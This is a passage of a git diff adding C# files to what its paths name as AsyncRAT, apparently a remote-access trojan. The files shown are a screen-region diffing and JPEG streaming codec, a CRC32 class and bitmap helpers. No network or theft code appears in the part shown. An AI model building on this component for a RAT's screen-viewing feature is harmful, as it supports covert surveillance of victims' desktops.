*(int*)(bufferPtr + i + 12)); + int UpdateLen = *(int*)(bufferPtr + i + 16); + byte[] temp = new byte[UpdateLen]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) + { + g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); + } + } + DataSize -= UpdateLen + (4 * 5); + i += UpdateLen + (4 * 5); + } + g.Dispose(); + } + return decodedBitmap; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs new file mode 100644 index 0000000..64e11eb --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs @@ -0,0 +1,367 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeStreamCodec : IUnsafeCodec + { + public override ulong CachedSize + { + get; + internal set; + } + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize; } + } + + public Size CheckBlock { get; private set; } + private byte[] EncodeBuffer; + private Bitmap decodedBitmap; + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + bool UseJPEG; + + /// + /// Initialize a new object of UnsafeStreamCodec + /// + /// The quality to use between 0-100 + public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true) + : base(ImageQuality) + { + this.CheckBlock = new Size(50, 1); + this.UseJPEG = UseJPEG; + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + lock (ImageProcessLock) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); + } + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + if (this.EncodedFormat != Format) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + + List Blocks = new List(); + int index = 0; + + Size s = new Size(ScanArea.Width, CheckBlock.Height); + Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); + + int lasty = ScanArea.Height - lastSize.Height; + int lastx = ScanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + s = new Size(ScanArea.Width, s.Height); + fixed (byte* encBuffer = EncodeBuffer) + { + for (int y = ScanArea.Y; y != ScanArea.Height; ) + { + if (y == lasty) + s = new Size(ScanArea.Width, lastSize.Height); + cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + int offset = (y * Stride) + (ScanArea.X * PixelSize); + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) + { + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + x = ScanArea.X; + while (x != ScanArea.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + + cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); + bool FoundChanges = false; + int blockStride = PixelSize * cBlock.Width; + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X); + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) + FoundChanges = true; + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + } + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if(FoundChanges) + { + index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + x += s.Width; + } + } + } + + /*int maxHeight = 0; + int maxWidth = 0; + + for (int i = 0; i < finalUpdates.Count; i++) + { + if (finalUpdates[i].Height > maxHeight) + maxHeight = finalUpdates[i].Height; + maxWidth += finalUpdates[i].Width; + } + + Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1); + int XOffset = 0;*/ + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + /*using (Graphics g = Graphics.FromImage(bmp)) + { + g.DrawImage(TmpBmp, new Point(XOffset, 0)); + } + XOffset += TmpBmp.Width;*/ + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Length; + long OldPos = outStream.Position; + + if (UseJPEG) + { + base.jpgCompression.Compress(TmpBmp, ref outStream); + } + else + { + base.lzwCompression.Compress(TmpBmp, outStream); + } + + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + + /*if (finalUpdates.Count > 0) + { + byte[] lele = base.jpgCompression.Compress(bmp); + byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1); + bool Won = lele.Length < outStream.Length; + bool CompressWon = compressed.Length < outStream.Length; + Console.WriteLine(Won + ", " + CompressWon); + } + bmp.Dispose();*/ + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + Blocks.Clear(); + finalUpdates.Clear(); + } + } + + public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + return decodedBitmap; + byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); + if (DataSize > 0) + { + Graphics g = Graphics.FromImage(decodedBitmap); + for (int i = 4; DataSize > 0; ) + { + Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), + *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); + int UpdateLen = *(int*)(bufferPtr + i + 16); + byte[] temp = new byte[UpdateLen]; + + fixed(byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) + { + g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); + } + } + DataSize -= UpdateLen + (4 * 5); + i += UpdateLen + (4 * 5); + } + g.Dispose(); + } + return decodedBitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + try + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + using (Graphics g = Graphics.FromImage(decodedBitmap)) + { + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + tempData = null; + + byte[] buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + using (MemoryStream m = new MemoryStream(buffer)) + using (Bitmap tmp = (Bitmap)Image.FromStream(m)) + { + g.DrawImage(tmp, rect.Location); + } + buffer = null; + DataSize -= UpdateLen + (4 * 5); + } + } + return decodedBitmap; + } + catch { return null; } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs new file mode 100644 index 0000000..7e89054 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs @@ -0,0 +1,186 @@ +// Tamir Khason http://khason.net/ +// +// Released under MS-PL : 6-Apr-09 +using System; +using System.Collections.Generic; +using System.Text; +using System.Security.Cryptography; +using System.Collections; +using System.IO; + +namespace StreamLibrary.src +{ + /// Implements a 32-bits cyclic redundancy check (CRC) hash algorithm. + /// This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384, + /// or SHA512 in the System.Security.Cryptography namespace. + public class CRC32 : HashAlgorithm + { + #region CONSTRUCTORS + /// Creates a CRC32 object using the . + public CRC32() + : this(DefaultPolynomial) + { + } + + /// Creates a CRC32 object using the specified polynomial. + /// The polynomical should be supplied in its bit-reflected form. . + public CRC32(uint polynomial) + { + HashSizeValue = 32; + _crc32Table = (uint[])_crc32TablesCache[polynomial]; + if (_crc32Table == null) + { + _crc32Table = CRC32._buildCRC32Table(polynomial); + _crc32TablesCache.Add(polynomial, _crc32Table); + } + Initialize(); + } + + // static constructor + static CRC32() + { + _crc32TablesCache = Hashtable.Synchronized(new Hashtable()); + _defaultCRC = new CRC32(); + } + #endregion + + #region PROPERTIES + /// Gets the default polynomial (used in WinZip, Ethernet, etc.) + /// The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc. + public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7; + #endregion + + #region METHODS + /// Initializes an implementation of HashAlgorithm. + public override void Initialize() + { + _crc = _allOnes; + } + + /// Routes data written to the object into the hash algorithm for computing the hash. + protected override void HashCore(byte[] buffer, int offset, int count) + { + for (int i = offset; i < count; i++) + { + ulong ptr = (_crc & 0xFF) ^ buffer[i]; + _crc >>= 8; + _crc ^= _crc32Table[ptr]; + } + } + + /// Finalizes the hash computation after the last data is processed by the cryptographic stream object. + protected override byte[] HashFinal() + { + byte[] finalHash = new byte[4]; + ulong finalCRC = _crc ^ _allOnes; + + finalHash[0] = (byte)((finalCRC >> 0) & 0xFF); + finalHash[1] = (byte)((finalCRC >> 8) & 0xFF); + finalHash[2] = (byte)((finalCRC >> 16) & 0xFF); + finalHash[3] = (byte)((finalCRC >> 24) & 0xFF); + + return finalHash; + } + + /// Computes the CRC32 value for the given ASCII string using the . + public static int Compute(string asciiString) + { + _defaultCRC.Initialize(); + return ToInt32(_defaultCRC.ComputeHash(asciiString)); + } + + /// Computes the CRC32 value for the given input stream using the . + public static int Compute(Stream inputStream) + { + _defaultCRC.Initialize(); + return ToInt32(_defaultCRC.ComputeHash(inputStream)); + } + + /// Computes the CRC32 value for the input data using the . + public static int Compute(byte[] buffer) + { + _defaultCRC.Initialize(); + return ToInt32(_defaultCRC.ComputeHash(buffer)); + } + + /// Computes the hash value for the input data using the . + public static int Compute(byte[] buffer, int offset, int count) + { + _defaultCRC.Initialize(); + return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count)); + } + + /// Computes the hash value for the given ASCII string. + /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. + public byte[] ComputeHash(string asciiString) + { + byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString); + return ComputeHash(rawBytes); + } + + /// Computes the hash value for the given input stream. + /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. + new public byte[] ComputeHash(Stream inputStream) + { + byte[] buffer = new byte[4096]; + int bytesRead; + while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0) + { + HashCore(buffer, 0, bytesRead); + } + return HashFinal(); + } + + /// Computes the hash value for the input data. + /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. + new public byte[] ComputeHash(byte[] buffer) + { + return ComputeHash(buffer, 0, buffer.Length); + } + + /// Computes the hash value for the input data. + /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. + new public byte[] ComputeHash(byte[] buffer, int offset, int count) + { + HashCore(buffer, offset, count); + return HashFinal(); + } + #endregion + + #region PRIVATE SECTION + private static uint _allOnes = 0xffffffff; + private static CRC32 _defaultCRC; + private static Hashtable _crc32TablesCache; + private uint[] _crc32Table; + private uint _crc; + + // Builds a crc32 table given a polynomial + private static uint[] _buildCRC32Table(uint polynomial) + { + uint crc; + uint[] table = new uint[256]; + + // 256 values representing ASCII character codes. + for (int i = 0; i < 256; i++) + { + crc = (uint)i; + for (int j = 8; j > 0; j--) + { + if ((crc & 1) == 1) + crc = (crc >> 1) ^ polynomial; + else + crc >>= 1; + } + table[i] = crc; + } + + return table; + } + + private static int ToInt32(byte[] buffer) + { + return BitConverter.ToInt32(buffer, 0); + } + #endregion + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs new file mode 100644 index 0000000..5ea4bfc --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs @@ -0,0 +1,12 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace System.Runtime.CompilerServices +{ + [AttributeUsage(AttributeTargets.Method)] + public sealed class ExtensionAttribute : Attribute + { + public ExtensionAttribute() { } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs new file mode 100644 index 0000000..82590e7 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Text; + +namespace StreamLibrary.src +{ + public static unsafe class Extensions + { + public static SortedList> RectanglesTo2D(this Rectangle[] rects) + { + SortedList> Rects = new SortedList>(); + for (int i = 0; i < rects.Length; i++) + { + if (!Rects.ContainsKey(rects[i].Y)) + Rects.Add(rects[i].Y, new SortedList()); + + if (!Rects[rects[i].Y].ContainsKey(rects[i].X)) + Rects[rects[i].Y].Add(rects[i].X, rects[i]); + } + return Rects; + } + + public static SortedList> Rectangle2DToRows(this SortedList> Rects) + { + SortedList> RectRows = new SortedList>(); + + for (int i = 0; i < Rects.Values.Count; i++) + { + if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y)) + { + RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList()); + } + if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X)) + { + RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]); + } + + Rectangle EndRect = Rects.Values[i].Values[0]; + for (int x = 1; x < Rects.Values[i].Values.Count; x++) + { + Rectangle CurRect = Rects.Values[i].Values[x]; + Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1]; + if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height))) + { + RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height); + EndRect = Rects.Values[i].Values[x]; + } + else + { + EndRect = Rects.Values[i].Values[x]; + RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect); + } + } + } + return RectRows; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs new file mode 100644 index 0000000..319d630 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs @@ -0,0 +1,353 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.Text; + +namespace StreamLibrary.src +{ + public unsafe class FastBitmap + { + public Bitmap bitmap { get; set; } + public BitmapData bitmapData { get; private set; } + public int Width { get; private set; } + public int Height { get; private set; } + public PixelFormat format { get; private set; } + public DateTime BitmapCreatedAt; + public bool IsLocked { get; private set; } + + public int Stride + { + get { return bitmapData.Stride; } + } + + public FastBitmap(Bitmap bitmap, PixelFormat format) + { + switch (format) + { + case PixelFormat.Format32bppArgb: + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + case PixelFormat.Format8bppIndexed: + case PixelFormat.Format4bppIndexed: + case PixelFormat.Format1bppIndexed: + break; + default: + throw new NotSupportedException(format + " is not supported."); + } + + this.bitmap = bitmap; + this.Width = this.bitmap.Width; + this.Height = this.bitmap.Height; + this.format = format; + Lock(); + BitmapCreatedAt = DateTime.Now; + } + + public FastBitmap(Bitmap bitmap) + { + this.format = bitmap.PixelFormat; + + switch (format) + { + case PixelFormat.Format32bppArgb: + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + case PixelFormat.Format8bppIndexed: + case PixelFormat.Format4bppIndexed: + case PixelFormat.Format1bppIndexed: + break; + default: + throw new NotSupportedException(format + " is not supported."); + } + + this.bitmap = bitmap; + this.Width = this.bitmap.Width; + this.Height = this.bitmap.Height; + this.format = format; + Lock(); + BitmapCreatedAt = DateTime.Now; + } + + public Color GetPixel(int x, int y) + { + byte* position = (byte*)bitmapData.Scan0.ToPointer(); + position += CalcOffset(x, y); + + byte A = position[3]; + byte R = position[2]; + byte G = position[1]; + byte B = position[0]; + return Color.FromArgb(A, R, G, B); + } + + public void SetPixel(int x, int y, Color color) + { + byte* position = (byte*)bitmapData.Scan0.ToPointer(); + position += CalcOffset(x, y); + + position[3] = color.A; + position[2] = color.R; + position[1] = color.G; + position[0] = color.B; + } + + public Color GetPixel(int x, int y, byte[] ImgData) + { + long offset = CalcOffset(x, y) + 4; + if (offset + 4 < ImgData.Length) + { + byte R = ImgData[offset]; + byte G = ImgData[offset + 1]; + byte B = ImgData[offset + 2]; + return Color.FromArgb(255, R, G, B); + } + return Color.FromArgb(255, 0, 0, 0); + } + public void SetPixel(int x, int y, Color color, byte[] ImgData) + { + long offset = CalcOffset(x, y) + 4; + if (offset + 4 < ImgData.Length) + { + ImgData[offset] = color.R; + ImgData[offset + 1] = color.G; + ImgData[offset + 2] = color.B; + ByteArrayToBitmap(ImgData); + } + } + + public void DrawRectangle(Point begin, Point end, Color color) + { + for (int x = begin.X; x < end.X; x++) + { + for (int y = begin.Y; y < end.Y; y++) + { + SetPixel(x, y, color); + } + } + } + + public Int64 CalcOffset(int x, int y) + { + switch (format) + { + case PixelFormat.Format32bppArgb: + return (y * bitmapData.Stride) + (x * 4); + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + return (y * bitmapData.Stride) + (x * 3); + case PixelFormat.Format8bppIndexed: + return (y * bitmapData.Stride) + x; + case PixelFormat.Format4bppIndexed: + return (y * bitmapData.Stride) + (x / 2); + case PixelFormat.Format1bppIndexed: + return (y * bitmapData.Stride) + (x * 8); + } + return 0; + } + + public static int CalcImageOffset(int x, int y, PixelFormat format, int width) + { + switch (format) + { + case PixelFormat.Format32bppArgb: + return (y * (width * 4)) + (x * 4); + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + return (y * (width * 3)) + (x * 3); + case PixelFormat.Format8bppIndexed: + return (y * width) + x; + case PixelFormat.Format4bppIndexed: + return (y * (width / 2)) + (x / 2); + case PixelFormat.Format1bppIndexed: + return (y * (width * 8)) + (x * 8); + default: + throw new NotSupportedException(format + " is not supported."); + } + } + + public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor) + { + Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y); + for (int x = BeginPoint.X; x < this.Width; x++) + { + Color prevColor = GetPixel(x, BeginPoint.Y); + + if (curColor.R != prevColor.R || + curColor.G != prevColor.G || + curColor.B != prevColor.B) + { + EndPoint = new Point(x, BeginPoint.Y); + RetColor = curColor; + return; + } + } + + EndPoint = new Point(this.Width, BeginPoint.Y); + RetColor = curColor; + } + + public void Unlock() + { + if (IsLocked) + { + bitmap.UnlockBits(bitmapData); + IsLocked = false; + } + } + public void Lock() + { + if (!IsLocked) + { + bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format); + IsLocked = true; + } + } + + public byte[] ToByteArray() + { + int bytes = Math.Abs(bitmapData.Stride) * Height; + byte[] rgbValues = new byte[bytes]; + System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes); + return rgbValues; + } + + public void ByteArrayToBitmap(byte[] data) + { + System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length); + } + + public void Dispose() + { + if (bitmap != null) + { + try { bitmap.UnlockBits(bitmapData); } + catch { } + try { bitmap.Dispose(); } + catch { } + try + { + bitmap = null; + bitmapData = null; + } + catch { } + } + } + + /// Get the byte points where to read from in a byte array + /// The beginning of the X, Y + /// The end of the X, Y + /// The size of the image + /// Slice the byte points into pieces to get the byte points faster + public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format) + { + List offsets = new List(); + + for (int y = beginPoint.Y; y < endPoint.Y; y++) + { + int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4); + int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4); + + switch (format) + { + case PixelFormat.Format32bppArgb: + { + if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + { + if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + case PixelFormat.Format8bppIndexed: + { + if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height)) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + case PixelFormat.Format4bppIndexed: + { + if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + case PixelFormat.Format1bppIndexed: + { + if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + default: + { + throw new NotSupportedException(format + " is not supported."); + } + } + + } + return offsets.ToArray(); + } + + /// Get the byte points in 2D + /// The beginning of the X, Y + /// The end of the X, Y + /// The size of the image + /// Slice the byte points into pieces to get the byte points faster + public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format) + { + int Width = endPoint.X - beginPoint.X; + int Height = endPoint.Y - beginPoint.Y; + + float Wsize = ((float)Width / (float)SlicePieces); + float Hsize = ((float)Height / (float)SlicePieces); + + //+1 just to make sure we are not going outside the array + if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F; + if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F; + + ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][]; + Point tmp = new Point(0, 0); + for (int y = beginPoint.Y; y < Height; y += SlicePieces) + { + for (int x = beginPoint.X; x < Width; x += SlicePieces) + { + ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format); + tmp.X++; + } + tmp.X = 0; + tmp.Y++; + } + return ImageArrayOffsets; + } + } + + public class ArrayOffset + { + public int BeginOffset { get; private set; } + public int EndOffset { get; private set; } + public int Stride { get; private set; } + public int X { get; private set; } + public int Y { get; private set; } + public int Width { get; private set; } + public int Height { get; private set; } + + public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height) + { + this.BeginOffset = begin; + this.EndOffset = end; + this.Stride = Stride; + this.X = x; + this.Y = y; + this.Width = width; + this.Height = height; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs new file mode 100644 index 0000000..a5f842d --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs @@ -0,0 +1,52 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.src +{ + public class JpgCompression + { + private EncoderParameter parameter; + private ImageCodecInfo encoderInfo; + private EncoderParameters encoderParams; + + public JpgCompression(int Quality) + { + this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); + this.encoderInfo = GetEncoderInfo("image/jpeg"); + this.encoderParams = new EncoderParameters(2); + this.encoderParams.Param[0] = parameter; + this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2); + } + + public byte[] Compress(Bitmap bmp) + { + using (MemoryStream stream = new MemoryStream()) + { + bmp.Save(stream, encoderInfo, encoderParams); + return stream.ToArray(); + } + } + public void Compress(Bitmap bmp, ref Stream TargetStream) + { + bmp.Save(TargetStream, encoderInfo, encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + int num2 = imageEncoders.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (imageEncoders[i].MimeType == mimeType) 